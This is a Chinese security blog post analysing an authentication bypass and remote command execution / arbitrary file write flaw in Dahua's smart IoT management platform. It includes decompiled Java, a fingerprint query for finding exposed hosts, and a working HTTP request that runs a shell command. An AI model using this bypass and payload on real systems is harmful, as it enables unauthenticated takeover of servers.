文章总结: 这篇文章分析了大华智能物联管理平台存在的前台命令执行和任意文件写入漏洞。漏洞位于/evo-runs/v1.0/receive端点,攻击者可以通过设置X-Subject-HeaderFlag:ADAPT请求头绕过鉴权,然后利用OssmConfigHandler类的msgDeal方法实现命令执行和任意文件写入。文章提供了详细的漏洞分析和复现步骤,包括具体的HTTP请求示例。该漏洞可能导致服务器被完全控制,建议相关用户尽快更新系统或采取临时防护措施。
综合评分: 88
文章分类: 漏洞分析,渗透测试,应急响应,IoT安全,WEB安全
大华智能物联管理平台1day分析
原创
V3g3t4ble
红细胞安全实验室
2025年7月30日 14:14
广东
大华智能物联管理平台
指纹
hunter
body="*客户端会小于800*"
漏洞
前台命令执行\任意文件写入- /evo-runs/v1.0/receive
漏洞分析
漏洞点在
com.dahua.evo.runs.service.impl.MsgDealServiceImpl#msgDeal(com.dahua.evo.runs.agent.AgentMsgParam)
public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws Exception {
if (agentMsgParam != null) {
String method = agentMsgParam.getMethod();
if (StringUtils.isNotEmpty(method)) {
MsgHandler msgHandler = this.msgHandlerExecuteFactory.getMsgHandler(method);
if (msgHandler != null) {
return msgHandler.msgDeal(agentMsgParam);
}
}
}
throw new BusinessException(ResultCodeEnum.INTERFACE_NOT_FOUND);
}
可以调用部分MsgHandler的MsgDeal方法,这个Service在com.dahua.evo.runs.controller.agent.MsgDealConrtoller中有多处调用,这里几个路由的处理方式都差不多,就拿/evo-runs/v1.0/receive来分析,com.dahua.evo.runs.controller.agent.MsgDealConrtoller#receive的具体实现
@PostMapping(value={"/receive"})
public ResultMessage receive(@RequestBody AgentMsgParam agentMsgParam, HttpServletRequest request) throws Exception {
RequestHolder.add((HttpServletRequest)request);
agentMsgParam.setRequestIp(IpUtil.getRemoteHost((HttpServletRequest)request));
return this.msgDealService.msgDeal(agentMsgParam);
}
基本上就是直接调用了msgDeal但是这是一个鉴权路由,需要绕过鉴权,也需要寻找到可利用的MsgHandler
鉴权绕过
鉴权filter
com.dahua.evo.runs.filter.AuthFilter#doFilter
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (!this.authEnable) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
String[] requestURIParams = httpServletRequest.getServletPath().split("/");
String[] matchedRequestURIParams = Arrays.copyOfRange(requestURIParams, 1, requestURIParams.length);
String matchedRequestURI = "/" + StringUtils.join(Arrays.asList(matchedRequestURIParams), (String)"/");
BodyReaderHttpServletRequestWrapper request = new BodyReaderHttpServletRequestWrapper(httpServletRequest, FILE_METHOD_SET.contains(matchedRequestURI));
String content = SignUtil.getBodyString((ServletRequest)request);
if (StringUtils.isNotEmpty((CharSequence)content)) {
String signFlag;
Map paramsMap = SignUtil.parseJsonToMap((String)(content = this.getParamsExcludeFile(matchedRequestURI, content)));
if (this.releaseMethodSet.contains(paramsMap.get("method"))) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank((CharSequence)flag) && "ADAPT".equals(flag) && StrUtil.isBlank((CharSequence)(signFlag = httpServletRequest.getHeader("X-Subject-Sign")))) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank((CharSequence)flag) && "CLOUD".equals(flag)) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
if (this.serverIsCloud || this.serverIsAgent) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
String signature = httpServletRequest.getHeader("X-Subject-Sign");
if (StringUtils.isNotEmpty((CharSequence)signature)) {
String serverCode = (String)paramsMap.get("serverCode");
if (StringUtils.isNotEmpty((CharSequence)serverCode)) {
String secret = this.generateSerret(serverCode, matchedRequestURI, this.getRpcMethod(content));
if (StringUtils.isNotEmpty((CharSequence)secret)) {
if (SignUtil.verifySign((Map)paramsMap, (String)signature, (String)secret)) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u53c2\u6570\u9274\u6743\u4e0d\u5408\u6cd5");
} else {
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u5bf9\u5e94\u79d8\u94a5\u4e3a\u7a7a");
}
} else {
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u5bf9\u5e94serverCode\u4e3a\u7a7a");
}
} else {
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"X-Subject-Sign\u4e3a\u7a7a");
}
}
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u53c2\u6570:{}", (Object)matchedRequestURI, (Object)content);
httpServletResponse.setCharacterEncoding("utf-8");
PrintWriter printWriter = httpServletResponse.getWriter();
printWriter.print("{\"success\":false,\"code\":" + ResultCodeEnum.AGENT_AUTH_FAIL.getCode() + ",\"errMsg\":\"\u672a\u767b\u5f55\uff0c\u8bf7\u91cd\u65b0\u767b\u5f55\",\"data\":{}}");
printWriter.flush();
printWriter.close();
}
并且urlPatterns为
{"/v1.0/receive", "/v1.0/push", "/v1.0/receive/*", "/v1.0/push/*"}
通过这个filter的几个分支
- •
method在releaseMethodSet中 - • 请求头
X-Subject-HeaderFlag为ADAPT - • 请求头
X-Subject-HeaderFlag为CLOUD - •
this.serverIsCloud || this.serverIsAgent - • 请求头
X-Subject-Sign满足后续的签名验证
最容易实现的就是X-Subject-HeaderFlag: ADAPT或X-Subject-HeaderFlag: CLOUD,这个在不同版本有差异,X-Subject-HeaderFlag: ADAPT更通用,现在就可以成功绕过鉴权
命令执行/任意文件写入
寻找com.dahua.evo.runs.agent.handler.AbstractMsgHandler的所有实现
找到一些可利用的类
com.dahua.evo.runs.agent.receive.handler.module.OssmConfigHandler
com.dahua.evo.runs.agent.receive.handler.ha.IpChangedHandler
以OssmConfigHandler为例
public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws BusinessException {
JSONObject jsonObject = agentMsgParam.getInfo();
if (jsonObject == null) {
throw new BusinessException(ResultCodeEnum.AGENT_PARAM_INCORRECT);
}
CommonAgentParam commonAgentParam = (CommonAgentParam)JSON.toJavaObject((JSON)jsonObject, CommonAgentParam.class);
boolean ifSaved = writeMappingFile(commonAgentParam.getFilePath(), commonAgentParam.getConfigure()).booleanValue();
this.logger.info("ossmconfighandler write {} to {}", commonAgentParam.getConfigure(), commonAgentParam.getFilePath());
if (ifSaved) {
String shellPath = (String)commonAgentParam.getParamMap().get("shellPath");
String filePath = (String)commonAgentParam.getParamMap().get("filePath");
Executor.execute(shellPath, new String[] { "5", "EXT_NET", filePath });
} else {
throw new BusinessException(ResultCodeEnum.PARAM_INVALID);
}
return new ResultMessage(Collections.emptyMap());
}
这里存在两个问题第7行的writeMappingFile文件名和文件内容都可控,第12行的Executor.execute命令可控,所以这里既可以执行任意命令也可以写入文件,但是这里不会解析jsp文件,写入文件getshell的方式还要进一步寻找
复现过程
POST /evo-runs/v1.0/receive HTTP/2
Host: 192.168.89.10
X-Subject-Headerflag: ADAPT
Sec-Ch-Ua-Platform: "Windows"
Authorization:
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.89.10/
Accept-Encoding: gzip, deflate, br
Priority: u=4, i
Content-Type: application/json
Content-Length: 237
{
"method": "agent.ossm.mapping.config",
"info": {
"configure": "x",
"filePath": "x",
"paramMap": {
"shellPath": "/bin/bash -c 'id>/tmp/result.txt'",
"filePath": "x"
},
"requestIp": ""
}
}
漏洞复现
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红细胞安全实验室 V3g3t4ble《大华智能物联管理平台1day分析》